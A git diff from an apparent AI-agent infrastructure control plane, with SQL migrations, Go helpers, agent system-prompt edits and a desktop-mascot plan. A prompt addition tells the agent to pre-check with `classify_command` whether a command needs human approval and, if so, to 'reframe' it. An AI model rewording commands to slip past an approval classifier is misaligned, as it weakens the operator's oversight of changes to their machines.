||||
}
|
||||
}
|
||||
|
||||
// oru returns v when nonzero, else def. orStr returns v when non-empty, else def.
|
||||
func oru(v, def int) int {
|
||||
if v != 0 {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
func orStr(v, def string) string {
|
||||
if v != "" {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
var scriptNameRe = regexp.MustCompile(`^[a-z][a-z0-9_-]+\.sh$`)
|
||||
|
||||
func allowlistedScript(name string) bool {
|
||||
@@ -723,7 +946,6 @@ func sshExec(ctx context.Context, host, port, user, cmd string, timeout time.Dur
|
||||
return out, nil
|
||||
}
|
||||
|
||||
|
||||
// metricThreshold defines warn/crit thresholds for a single metric.
|
||||
type metricThreshold struct {
|
||||
Warn float64 `json:"warn"`
|
||||
@@ -759,4 +981,4 @@ func evaluateSeverity(kind string, signalKind string, config []byte, metrics map
|
||||
return "warning"
|
||||
}
|
||||
|
||||
var _ = uuid.UUID{} // ensure uuid import stays
|
||||
var _ = uuid.UUID{} // ensure uuid import stays
|
||||
|
||||
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
-- 021_session_blocker_and_closed_at.up.sql
|
||||
-- Track why a session ended partial/failed and when it actually closed.
|
||||
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||
--
|
||||
-- `blocker` is a short structured reason: "approval_timeout",
|
||||
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
|
||||
-- etc. Set by complete_task when outcome is partial/failed, derived from the
|
||||
-- last assistant message's text. Empty for success outcomes.
|
||||
--
|
||||
-- `closed_at` is when the session reached its terminal state. Distinct from
|
||||
-- `last_active_at`, which is touched on any access (including the operator
|
||||
-- just opening the transcript) — `closed_at` is set ONCE at completion.
|
||||
-- Without it, "session duration" can only be computed as
|
||||
-- `last_active - created`, which lies for reopened sessions (a51e2086
|
||||
-- reported 4-day duration because the operator reopened it to close it).
|
||||
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
|
||||
|
||||
-- Backfill closed_at for already-terminal sessions so the new column isn't
|
||||
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
|
||||
-- the most recent touch, which is the closest we have to "when it ended"
|
||||
-- for historical sessions. New sessions set closed_at explicitly on
|
||||
-- complete_task.
|
||||
UPDATE agent_sessions
|
||||
SET closed_at = last_active_at
|
||||
WHERE closed_at IS NULL
|
||||
AND status IN ('done', 'failed');
|
||||
|
||||
-- Index for "show me partial sessions in the last N days" — the common
|
||||
-- audit query. Covers the blocker column too so the planner can answer
|
||||
-- "blocker breakdown over the last week" with an index-only scan.
|
||||
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
|
||||
ON agent_sessions (closed_at DESC)
|
||||
WHERE status IN ('done', 'failed');
|
||||
119
migrations/022_knowledge_revisions.up.sql
Normal file
119
migrations/022_knowledge_revisions.up.sql
Normal file
@@ -0,0 +1,119 @@
|
||||
-- 022_knowledge_revisions.up.sql
|
||||
-- Version history for knowledge_entities, so an edit can never be silently lost.
|
||||
--
|
||||
-- The concrete hazard this closes: the MCP tool `upsert_knowledge`
|
||||
-- (internal/mcp/server.go) keys on title and does
|
||||
-- `ON CONFLICT (entity_id) DO UPDATE SET content = EXCLUDED.content` —
|
||||
-- unconditionally. Before this migration, an operator hand-editing a note in
|
||||
-- the web UI would have that edit overwritten with no trace the next time
|
||||
-- Nomos re-upserted a note with the same title. There was no history table
|
||||
-- and no way to recover the prior body.
|
||||
--
|
||||
-- The snapshot is a BEFORE UPDATE **trigger** rather than application-level
|
||||
-- code in the HTTP handler, specifically because there are two independent
|
||||
-- writers: the web API (new in this change) and the MCP tool the agent uses.
|
||||
-- App-level snapshotting would only cover whichever path remembered to call
|
||||
-- it. A trigger covers both, plus any future writer and any manual psql fix.
|
||||
--
|
||||
-- Each row in knowledge_revisions is a *superseded* version: the state of the
|
||||
-- note before the update that displaced it. The current version always lives
|
||||
-- in knowledge_entities, never here, so "history" is
|
||||
-- knowledge_entities + knowledge_revisions ordered by version_at DESC.
|
||||
|
||||
-- Who authored the version currently in knowledge_entities. Distinct from
|
||||
-- `source`, which is overloaded: it holds either 'nomos-agent' (written via
|
||||
-- MCP) or a seed file path ('containers/101-jellyfin') and is NOT updated on
|
||||
-- conflict, so a seeded doc later rewritten by the agent still reports its
|
||||
-- original file path. edited_by answers the question the UI actually asks —
|
||||
-- "did a human or the agent last touch this?" — without disturbing source,
|
||||
-- which the seeding logic still relies on.
|
||||
ALTER TABLE knowledge_entities
|
||||
ADD COLUMN IF NOT EXISTS edited_by TEXT NOT NULL DEFAULT '';
|
||||
|
||||
-- Backfill: every existing row's last writer is whatever source says. For
|
||||
-- agent-written notes that's exactly right; for seeded notes it records the
|
||||
-- seed path, which is the honest answer (no human has edited them yet).
|
||||
UPDATE knowledge_entities
|
||||
SET edited_by = COALESCE(source, '')
|
||||
WHERE edited_by = '';
|
||||
|
||||
-- Soft delete. A hard DELETE would cascade knowledge_revisions away with the
|
||||
-- entity, which contradicts the point of this migration — removing a note is
|
||||
-- exactly the moment its history matters most. Deleting sets deleted_at; all
|
||||
-- read paths filter it out, the revision trail survives, and an accidental
|
||||
-- delete is recoverable by clearing the column.
|
||||
ALTER TABLE knowledge_entities
|
||||
ADD COLUMN IF NOT EXISTS deleted_at TIMESTAMPTZ;
|
||||
|
||||
-- Partial index: every list/search/read query carries `deleted_at IS NULL`,
|
||||
-- and deleted notes are expected to stay a small minority.
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_live
|
||||
ON knowledge_entities (updated_at DESC)
|
||||
WHERE deleted_at IS NULL;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS knowledge_revisions (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
entity_id UUID NOT NULL REFERENCES entities(id) ON DELETE CASCADE,
|
||||
title TEXT NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
source TEXT,
|
||||
tags TEXT[],
|
||||
edited_by TEXT NOT NULL DEFAULT '',
|
||||
-- When this version was written (the superseded row's updated_at).
|
||||
version_at TIMESTAMPTZ NOT NULL,
|
||||
-- When it was replaced. version_at of revision N and revised_at of
|
||||
-- revision N-1 bracket how long that version was the live one.
|
||||
revised_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
|
||||
-- The only access pattern: "show me the history of this note, newest first."
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_revisions_entity
|
||||
ON knowledge_revisions (entity_id, version_at DESC);
|
||||
|
||||
-- Snapshot the outgoing row whenever the substance changes. Deliberately
|
||||
-- ignores updated_at-only touches: upsert_knowledge sets `updated_at = now()`
|
||||
-- on every call even when re-writing byte-identical content (it has no
|
||||
-- change detection), and without this guard a re-run of the same agent task
|
||||
-- would pile up identical revisions and bury the real edits.
|
||||
--
|
||||
-- `search` is a GENERATED column and is intentionally not carried into
|
||||
-- revisions — it is derived from title+content and would be dead weight.
|
||||
CREATE OR REPLACE FUNCTION snapshot_knowledge_revision() RETURNS TRIGGER AS $$
|
||||
BEGIN
|
||||
IF OLD.title IS DISTINCT FROM NEW.title
|
||||
OR OLD.content IS DISTINCT FROM NEW.content
|
||||
OR OLD.tags IS DISTINCT FROM NEW.tags THEN
|
||||
INSERT INTO knowledge_revisions
|
||||
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||
VALUES
|
||||
(OLD.entity_id, OLD.title, OLD.content, OLD.source, OLD.tags,
|
||||
OLD.edited_by, OLD.updated_at);
|
||||
END IF;
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
|
||||
-- DROP + CREATE rather than CREATE OR REPLACE: Postgres 16 has no
|
||||
-- CREATE OR REPLACE TRIGGER for this form, and the migration must stay
|
||||
-- re-runnable.
|
||||
DROP TRIGGER IF EXISTS trg_knowledge_revision ON knowledge_entities;
|
||||
|
||||
CREATE TRIGGER trg_knowledge_revision
|
||||
BEFORE UPDATE ON knowledge_entities
|
||||
FOR EACH ROW EXECUTE FUNCTION snapshot_knowledge_revision();
|
||||
|
||||
-- Trigram similarity, for the duplicate-detection view. The knowledge base
|
||||
-- has already accumulated near-duplicates that exact matching cannot catch —
|
||||
-- four separate "rclone backup live inspection — <date>" investigations, each
|
||||
-- a fresh note where an update to the existing one was meant. upsert_knowledge
|
||||
-- keys on exact title, so a date suffix is enough to fork a new note.
|
||||
--
|
||||
-- similarity() over titles is what lets the UI cluster those and offer a
|
||||
-- merge. fuzzystrmatch (levenshtein) was the alternative; trigram wins here
|
||||
-- because these titles differ by whole appended words rather than typos, and
|
||||
-- because it comes with a GIN index while levenshtein cannot be indexed.
|
||||
CREATE EXTENSION IF NOT EXISTS pg_trgm;
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_title_trgm
|
||||
ON knowledge_entities USING gin (title gin_trgm_ops)
|
||||
WHERE deleted_at IS NULL;
|
||||
35
migrations/023_entity_type_monitoring.up.sql
Normal file
35
migrations/023_entity_type_monitoring.up.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
-- 023_entity_type_monitoring.up.sql
|
||||
-- Declare, per entity type, what monitoring that type warrants.
|
||||
--
|
||||
-- Motivation: only 3 of 89 active entities had an enabled check_def, because
|
||||
-- checkdefaults.forEntityType hardcoded a Go `switch` over five entity types
|
||||
-- and resolveHost looked for attribute shapes the seed data never used. The
|
||||
-- failure was silent — every tx.Exec in that file discarded its error.
|
||||
--
|
||||
-- Fixing coverage alone is not enough: coverage is NOT uniform. Some types
|
||||
-- (site, cluster, lan, mesh) are topological groupings with nothing to probe;
|
||||
-- their health is implied by their members. Without an explicit declaration,
|
||||
-- the "unmonitored" signal added alongside this migration would fire
|
||||
-- permanently and unresolvably against entities that are working as intended.
|
||||
--
|
||||
-- So monitoring becomes a property of the TYPE, resolved through the existing
|
||||
-- `parent_type` is-a hierarchy (declaring it on abstract `machine` covers
|
||||
-- proxmox-host / standalone-server / workstation).
|
||||
--
|
||||
-- Three states, deliberately distinguishable:
|
||||
-- NULL — undeclared. An ontology gap; reported at info severity,
|
||||
-- not as a fleet gap. This is why the column is nullable
|
||||
-- rather than defaulting to '[]'.
|
||||
-- '[]' — explicitly none. Excluded from coverage signalling.
|
||||
-- '["http", ...]' — the check kinds this type warrants.
|
||||
--
|
||||
-- The column holds check KINDS only. Deriving each check's config (host,
|
||||
-- script, url, thresholds) stays in Go, in internal/checkdefaults — a config
|
||||
-- template language in YAML is the natural follow-on, not this change.
|
||||
|
||||
ALTER TABLE entity_types ADD COLUMN IF NOT EXISTS monitoring_spec JSONB;
|
||||
|
||||
-- Kept on one line and free of semicolons: the migration runner splits on ';'
|
||||
-- without tracking string literals, so both a newline and an inner semicolon
|
||||
-- would truncate this statement mid-quote.
|
||||
COMMENT ON COLUMN entity_types.monitoring_spec IS 'Check kinds this type warrants, resolved through parent_type. NULL means undeclared (an ontology gap), [] means explicitly unmonitorable, ["http","resource"] means declared kinds. Populated from seeds/ontology.yaml.';
|
||||
18
migrations/024_executions_created_at_index.up.sql
Normal file
18
migrations/024_executions_created_at_index.up.sql
Normal file
@@ -0,0 +1,18 @@
|
||||
-- 024_executions_created_at_index.up.sql
|
||||
-- Support newest-first execution history.
|
||||
--
|
||||
-- ListExecutions previously ordered by the target entity's slug, which is
|
||||
-- neither useful for a history view nor unique enough to paginate on. It now
|
||||
-- orders by (created_at DESC, entity_id DESC) -- the compound key the cursor
|
||||
-- carries -- and executions had indexes only on target_entity_id and status.
|
||||
--
|
||||
-- The same ordering backs /activity/recent, which was doing this unindexed.
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_executions_created_at
|
||||
ON executions (created_at DESC, entity_id DESC);
|
||||
|
||||
-- Per-entity history ("what has run against this host?") filters on the target
|
||||
-- and then sorts, so give it a composite rather than making the planner sort
|
||||
-- every row for a target with a long history.
|
||||
CREATE INDEX IF NOT EXISTS idx_executions_target_created_at
|
||||
ON executions (target_entity_id, created_at DESC);
|
||||
43
migrations/025_execution_logs.up.sql
Normal file
43
migrations/025_execution_logs.up.sql
Normal file
@@ -0,0 +1,43 @@
|
||||
-- 025_execution_logs.up.sql
|
||||
-- Incremental command output for executions.
|
||||
--
|
||||
-- Until now `executions.result` was a single JSONB blob written once, at the
|
||||
-- terminal state: {"output": "...everything..."}. Two consequences:
|
||||
--
|
||||
-- 1. Nothing could be seen while a command ran. A ten-minute apt upgrade
|
||||
-- showed an empty row until it finished.
|
||||
-- 2. On the sshExecTimeout path the output was discarded entirely — the
|
||||
-- code returned "" — so the executions most worth inspecting (the ones
|
||||
-- that hung) were the ones that left no trace at all.
|
||||
--
|
||||
-- Chunks land here as they arrive. `executions.result` still gets the full
|
||||
-- output at the end, so existing readers keep working unchanged and this
|
||||
-- table is purely additive.
|
||||
|
||||
CREATE TABLE IF NOT EXISTS execution_logs (
|
||||
execution_id UUID NOT NULL,
|
||||
ts TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
-- Monotonic per execution. ts alone cannot order chunks: several arrive
|
||||
-- within the same microsecond on a fast command.
|
||||
seq INTEGER NOT NULL,
|
||||
-- 'stdout' or 'stderr'. Both are also concatenated into the combined
|
||||
-- output, matching what CombinedOutput used to return.
|
||||
stream TEXT NOT NULL,
|
||||
chunk TEXT NOT NULL,
|
||||
PRIMARY KEY (execution_id, seq, ts)
|
||||
);
|
||||
|
||||
SELECT create_hypertable('execution_logs', 'ts',
|
||||
chunk_time_interval => INTERVAL '7 days', if_not_exists => TRUE);
|
||||
|
||||
-- The only query that matters: replay one execution's output in order.
|
||||
CREATE INDEX IF NOT EXISTS idx_execution_logs_exec_seq
|
||||
ON execution_logs (execution_id, seq);
|
||||
|
||||
-- Matches the events table's 90 days. Command output is bulkier than events,
|
||||
-- but keeping it exactly as long as the event stream that references it avoids
|
||||
-- dangling 'execution.output' events pointing at rows that no longer exist.
|
||||
DO $$ BEGIN
|
||||
PERFORM add_retention_policy('execution_logs', INTERVAL '90 days');
|
||||
EXCEPTION WHEN OTHERS THEN NULL;
|
||||
END $$;
|
||||
32
migrations/026_check_defs_last_run.up.sql
Normal file
32
migrations/026_check_defs_last_run.up.sql
Normal file
@@ -0,0 +1,32 @@
|
||||
-- 026_check_defs_last_run.up.sql
|
||||
-- Make check_defs.interval_s actually mean something.
|
||||
--
|
||||
-- ListEnabledCheckDefs selected interval_s but never filtered on it, and
|
||||
-- nothing in the scheduler read it except staleSweep. So every enabled check
|
||||
-- ran on every 30-second pass and the declared per-check intervals were
|
||||
-- decorative.
|
||||
--
|
||||
-- That went unnoticed at 17 enabled checks (~0.5 SSH/s). Restoring monitoring
|
||||
-- coverage takes it to ~150, where it would have meant ~126 SSH connections
|
||||
-- every 30s — roughly 363k/day — and, worst of all, `apt update` on every
|
||||
-- machine every 30 seconds via updates_check.sh: 14,400 mirror hits a day to
|
||||
-- answer a question whose answer changes about once a day.
|
||||
--
|
||||
-- last_run_at is a column rather than scheduler memory on purpose: an
|
||||
-- in-memory map resets on restart, and this control plane restarts on every
|
||||
-- deploy, so every check would fire at once each time — a thundering herd
|
||||
-- exactly when the stack is least settled.
|
||||
--
|
||||
-- NULL means "never run", which is due immediately. Existing rows therefore
|
||||
-- all fire once on the first pass after this migration, then settle into
|
||||
-- their declared cadence.
|
||||
|
||||
ALTER TABLE check_defs ADD COLUMN IF NOT EXISTS last_run_at TIMESTAMPTZ;
|
||||
|
||||
-- The scheduler's hot query: enabled AND due. Partial on enabled since
|
||||
-- disabled checks are never considered.
|
||||
CREATE INDEX IF NOT EXISTS idx_check_defs_due
|
||||
ON check_defs (last_run_at)
|
||||
WHERE enabled;
|
||||
|
||||
COMMENT ON COLUMN check_defs.last_run_at IS 'When this check last executed. NULL = never, due immediately. Compared against interval_s to decide due-ness.';
|
||||
28
migrations/027_check_last_health.up.sql
Normal file
28
migrations/027_check_last_health.up.sql
Normal file
@@ -0,0 +1,28 @@
|
||||
-- 027_check_last_health.up.sql
|
||||
-- Aggregate an entity's health across its checks instead of last-writer-wins.
|
||||
--
|
||||
-- runCheck wrote entity_status.health on every check completion, so an
|
||||
-- entity's health was simply whichever of its checks finished most recently.
|
||||
-- host:hubris has 6 checks, host:strong 6 — one failing probe alternating with
|
||||
-- five passing ones produced a permanent flap: 226 health.changed events for
|
||||
-- host:strong in a single hour, oscillating down/healthy, while the host was
|
||||
-- fine the whole time.
|
||||
--
|
||||
-- On this fleet the trigger is a known false positive: the scheduler's network
|
||||
-- vantage point cannot ICMP host:strong, so its ping check fails while every
|
||||
-- ssh-script check succeeds. Under last-writer-wins that one probe was enough
|
||||
-- to declare the whole host down, twice a minute.
|
||||
--
|
||||
-- Storing each check's own verdict lets entity health be derived as the worst
|
||||
-- current result across that entity's enabled checks — so a single failing
|
||||
-- probe degrades the entity honestly without erasing what the other five say,
|
||||
-- and a passing probe cannot mask a genuine failure elsewhere.
|
||||
|
||||
ALTER TABLE check_defs ADD COLUMN IF NOT EXISTS last_health TEXT;
|
||||
|
||||
COMMENT ON COLUMN check_defs.last_health IS 'This check''s own most recent verdict (healthy/degraded/down/unknown). entity_status.health is the worst of these across the target''s enabled checks.';
|
||||
|
||||
-- The aggregation reads every enabled check for one target on each completion.
|
||||
CREATE INDEX IF NOT EXISTS idx_check_defs_target_health
|
||||
ON check_defs (target_id)
|
||||
WHERE enabled AND target_id IS NOT NULL;
|
||||
75
migrations/028_relationship_blast_direction.up.sql
Normal file
75
migrations/028_relationship_blast_direction.up.sql
Normal file
@@ -0,0 +1,75 @@
|
||||
-- 028_relationship_blast_direction.up.sql
|
||||
-- Make blast_radius answer the question it is named after.
|
||||
--
|
||||
-- blast_radius walked source_id -> target_id for every relationship type. But
|
||||
-- which end of an edge is the DEPENDENT differs per type:
|
||||
--
|
||||
-- machine --hosts--> container if the machine dies, the container dies
|
||||
-- -> dependent is the TARGET (forward)
|
||||
-- service --depends-on--> service if the target dies, the SOURCE breaks
|
||||
-- -> dependent is the SOURCE (backward)
|
||||
-- ingress --routes-to--> service if the service dies, the route 502s
|
||||
-- -> dependent is the SOURCE (backward)
|
||||
-- document --documents--> entity neither breaks the other
|
||||
-- -> no runtime dependency at all
|
||||
--
|
||||
-- Walking everything forwards meant the answer was right for `hosts` and
|
||||
-- `provides` and wrong for every backward edge, while `documents`, `involves`
|
||||
-- and `targets` (2,800+ edges of pure bookkeeping) polluted the result with
|
||||
-- tasks and executions that cannot "break".
|
||||
--
|
||||
-- Direction is therefore a property of the relationship type, declared in
|
||||
-- seeds/ontology.yaml — the same shape as the `monitoring:` declaration on
|
||||
-- entity types.
|
||||
--
|
||||
-- forward : if the SOURCE fails, the TARGET is affected
|
||||
-- backward : if the TARGET fails, the SOURCE is affected
|
||||
-- none : no runtime dependency (default — bookkeeping and documentation)
|
||||
--
|
||||
-- Defaulting to 'none' is deliberate: an undeclared edge contributes nothing
|
||||
-- rather than silently producing a wrong answer, which is how the old
|
||||
-- everything-is-forward behaviour went unnoticed.
|
||||
|
||||
ALTER TABLE relationship_types
|
||||
ADD COLUMN IF NOT EXISTS blast_direction TEXT NOT NULL DEFAULT 'none'
|
||||
CHECK (blast_direction IN ('forward', 'backward', 'none'));
|
||||
|
||||
COMMENT ON COLUMN relationship_types.blast_direction IS
|
||||
'Which end of this edge depends on the other. forward = target depends on source. backward = source depends on target. none = no runtime dependency. Drives blast_radius().';
|
||||
|
||||
-- Walk the dependency graph in the direction each edge type declares.
|
||||
--
|
||||
-- Returns everything that is affected when start_id fails, with the number of
|
||||
-- hops. Cycles are guarded by the path array, as before.
|
||||
CREATE OR REPLACE FUNCTION blast_radius(start_id UUID, max_depth INT DEFAULT 3,
|
||||
rel_types TEXT[] DEFAULT NULL)
|
||||
RETURNS TABLE(entity_id UUID, depth INT) AS $$
|
||||
WITH RECURSIVE walk AS (
|
||||
SELECT start_id AS entity_id, 0 AS depth, ARRAY[start_id] AS path
|
||||
UNION ALL
|
||||
SELECT next_id, w.depth + 1, w.path || next_id
|
||||
FROM walk w
|
||||
JOIN LATERAL (
|
||||
-- forward: this entity is the source, so the target depends on it
|
||||
SELECT r.target_id AS next_id
|
||||
FROM relationships r
|
||||
JOIN relationship_types rt ON rt.name = r.type
|
||||
WHERE r.source_id = w.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND rt.blast_direction = 'forward'
|
||||
AND (rel_types IS NULL OR r.type = ANY(rel_types))
|
||||
UNION ALL
|
||||
-- backward: this entity is the target, so the source depends on it
|
||||
SELECT r.source_id AS next_id
|
||||
FROM relationships r
|
||||
JOIN relationship_types rt ON rt.name = r.type
|
||||
WHERE r.target_id = w.entity_id
|
||||
AND r.valid_to IS NULL
|
||||
AND rt.blast_direction = 'backward'
|
||||
AND (rel_types IS NULL OR r.type = ANY(rel_types))
|
||||
) nxt ON TRUE
|
||||
WHERE w.depth < LEAST(max_depth, 5)
|
||||
AND NOT nxt.next_id = ANY(w.path)
|
||||
)
|
||||
SELECT entity_id, MIN(depth) FROM walk GROUP BY entity_id;
|
||||
$$ LANGUAGE sql STABLE;
|
||||
33
migrations/029_plan_generation_relative_seq.up.sql
Normal file
33
migrations/029_plan_generation_relative_seq.up.sql
Normal file
@@ -0,0 +1,33 @@
|
||||
-- 029_plan_generation_relative_seq.up.sql
|
||||
-- Make plan-step seq generation-relative: 1..N within each
|
||||
-- (session_id, generation). Before this, seq was globally increasing across
|
||||
-- generations (gen1: 1..6, gen2: 7..12), so the model's 1-based
|
||||
-- update_plan_step calls — which the prompt and schema explicitly tell it to
|
||||
-- use — landed on superseded gen-1 rows after a re-plan while the live gen-2
|
||||
-- work went unrecorded (or, worse, resurrected a `replaced` row as `done`).
|
||||
-- The addressing key is now (session_id, generation, seq); updatePlanStep
|
||||
-- resolves against MAX(generation), so a 1-based seq always maps to the
|
||||
-- CURRENT plan. See plans/2026-07-30-session-review-plan-drift-and-dead-
|
||||
-- activity-panel.md P0.1.
|
||||
|
||||
-- Renumber existing rows so seq resets to 1..N per (session, generation),
|
||||
-- preserving each generation's step order.
|
||||
WITH ranked AS (
|
||||
SELECT id,
|
||||
ROW_NUMBER() OVER (
|
||||
PARTITION BY session_id, generation
|
||||
ORDER BY seq, created_at
|
||||
) AS new_seq
|
||||
FROM session_plan_steps
|
||||
)
|
||||
UPDATE session_plan_steps s
|
||||
SET seq = ranked.new_seq
|
||||
FROM ranked
|
||||
WHERE s.id = ranked.id AND s.seq <> ranked.new_seq;
|
||||
|
||||
-- (session_id, seq) is no longer unique once seq resets per generation; the
|
||||
-- store resolves via (session_id, generation, seq). Drop the old composite
|
||||
-- index (it now collides on seq) and add the generation-scoped unique index.
|
||||
DROP INDEX IF EXISTS idx_plan_steps_session;
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS idx_plan_steps_session_gen_seq
|
||||
ON session_plan_steps (session_id, generation, seq);
|
||||
@@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
|
||||
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
||||
no writeback needed.
|
||||
|
||||
`complete_task` auto-closes any in-flight plan steps (pending/running → done
|
||||
on success, → skipped on partial/failure). You do NOT need to call
|
||||
`update_plan_step` for every step right before completing — once your work
|
||||
is done and writeback is recorded, just call `complete_task`. This is the
|
||||
right pattern for one-step plans (greetings, single health checks, title
|
||||
tests): propose_plan → answer → complete_task, skipping the per-step
|
||||
running→done dance entirely.
|
||||
|
||||
### 7. ITERATE — follow-ups reopen the task
|
||||
A `complete_task` is not the end of the conversation. If the operator sends
|
||||
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
||||
@@ -160,6 +168,17 @@ disappear.
|
||||
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
||||
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
||||
pct create, any shell command. There is no named-action tool anymore.
|
||||
- `classify_command` — **pre-flight check before `run` when you're unsure
|
||||
whether a command will auto-execute or need approval.** Pass the exact
|
||||
command (and optional `declared_risk`); get back the risk class that `run`
|
||||
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
|
||||
compound command — these are the cases where the classifier's verdict
|
||||
isn't obvious from the verb alone. If `classify_command` says `read_only`,
|
||||
`run` will auto-execute; if it says `config_mutation`, reframe the command
|
||||
or expect to need approval. **Do NOT submit a `run`, get it queued for
|
||||
approval, and then retry with cosmetic variations** — that produces
|
||||
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
|
||||
submit once.
|
||||
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
||||
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
||||
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
||||
|
||||
@@ -1,6 +1,48 @@
|
||||
# 2026-07-20 — Desktop mascot ("Cluck")
|
||||
|
||||
**Status:** Planned
|
||||
**Status:** Implemented
|
||||
|
||||
> **Deviations from the original plan, applied 2026-07-20 during
|
||||
> implementation:**
|
||||
> - **Hatching is no longer timed.** The egg → chick transition fires
|
||||
> once, on first naming (the name dialog opens on first mount of a
|
||||
> fresh egg; submitting it calls `forceHatch()`). `HATCH_MS` is gone,
|
||||
> `tickLifecycle` no longer advances `hatchProgress`, and the egg no
|
||||
> longer plays a progressive `egg-crack` animation — it sits on
|
||||
> `egg-idle` until named. `hatchProgress` is retained as a binary
|
||||
> 0/1 flag so `advanceStageIfReady()` and the debug "Force hatch"
|
||||
> action still work.
|
||||
> - **Sprite art is PNG-sheet-based, not code-drawn pixel grids.** The
|
||||
> chicken comes from a CC0 16x16 sprite-sheet pack at
|
||||
> `web/public/mascot/`; the egg comes from the Onocentaur egg pack
|
||||
> (also CC0). `palette.ts` was removed; `render.ts` slices 16x16
|
||||
> frames from sheets instead of painting string grids. Chick and
|
||||
> adult share sheets (distinguished only by render scale) until
|
||||
> distinct adult art is added.
|
||||
> - **The radial menu is a rounded-button column, not a circular
|
||||
> ring.** The plan's polar-layout ring was found to hide labels; the
|
||||
> menu now mirrors the desktop's own right-click menu styling
|
||||
> (full-text buttons, nested via a "Back" breadcrumb).
|
||||
> - **The sprite loop runs at ~60fps** (16ms `setTimeout`), not 30fps.
|
||||
> Drag and fall motion at 30fps looked choppy on 60Hz+ displays. The
|
||||
> `setTimeout`-not-`rAF` convention is preserved; `dt` is still
|
||||
> clamped to 100ms. Position is applied via `transform: translate3d`
|
||||
> + `will-change: transform` (compositor layer) instead of CSS
|
||||
> `left`/`top` to avoid per-frame layout reflow.
|
||||
> - **Egg-stage reactions are suppressed.** The stimulus bus still
|
||||
> subscribes to chat/activity/events while the egg is on screen, but
|
||||
> MascotLayer's emit callback drops any reaction when
|
||||
> `model.stage === 'egg'` — the egg isn't "alive" yet, so playing
|
||||
> alarm/eureka animations behind the naming dialog would be jarring.
|
||||
> - **The mascot walks on top of windows.** The ground line is
|
||||
> recomputed each tick from `wmState`: it's the top edge of the
|
||||
> highest non-minimized window whose horizontal span covers the
|
||||
> mascot's x, or the surface bottom when no window is beneath. When
|
||||
> the mascot strolls over a window, the ground rises to that
|
||||
> window's top edge; when it walks off the side, the ground drops
|
||||
> and it flutter-falls to the next surface beneath (another window,
|
||||
> or the desktop). This generalizes the original "walks along the
|
||||
> desktop surface's bottom edge" decision to a multi-surface model.
|
||||
|
||||
## Why
|
||||
|
||||
@@ -181,9 +223,11 @@ export function forceBehavior(rt: MascotRuntime, id: BehaviorId, opts?: { anim?:
|
||||
`weight` and are entered only via `forceBehavior()` — pointer code calls
|
||||
it for `dragged`, gravity logic for `falling`, the stimulus bus for
|
||||
`react`.
|
||||
- **Egg stage**: `behavior` locked to `'egg'` (periodic `egg-wiggle`,
|
||||
`egg-crack` as `hatchProgress` nears 1); dragging is still allowed (the
|
||||
egg can be picked up and moved).
|
||||
- **Egg stage**: `behavior` locked to `'egg'` (renders `egg-idle`,
|
||||
wiggles gently via a render-time transform); dragging is still
|
||||
allowed (the egg can be picked up and moved). The egg → chick
|
||||
transition fires once, on first naming — see the deviation note at
|
||||
the top of this plan.
|
||||
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
|
||||
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
|
||||
|
||||
@@ -195,14 +239,13 @@ export interface MascotModel {
|
||||
version: 1
|
||||
stage: MascotStage
|
||||
name: string | null
|
||||
hatchProgress: number // 0..1, egg stage only
|
||||
hatchProgress: number // binary 0/1: 0 until first naming, 1 after (egg stage only)
|
||||
happiness: number // 0..100, slow decay, boosted by pet/feed
|
||||
xp: number // chick -> adult growth hook
|
||||
hatchedAt: number | null
|
||||
lastPos: { x: number } | null
|
||||
lastSeen: number // for capped offline egg-incubation progress
|
||||
lastSeen: number // for capping passive decay
|
||||
}
|
||||
export const HATCH_MS = 3 * 60_000 // active time to hatch (demo-friendly)
|
||||
export const ADULT_XP = 200
|
||||
export function grantXp(n: number): void
|
||||
export function feed(): void
|
||||
@@ -210,6 +253,7 @@ export function pet(): void
|
||||
export function setName(name: string): void
|
||||
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
|
||||
export function advanceStageIfReady(): void
|
||||
export function forceHatch(): void // called by the name-dialog submit handler on first naming
|
||||
```
|
||||
|
||||
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
|
||||
@@ -220,6 +264,11 @@ export function advanceStageIfReady(): void
|
||||
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
|
||||
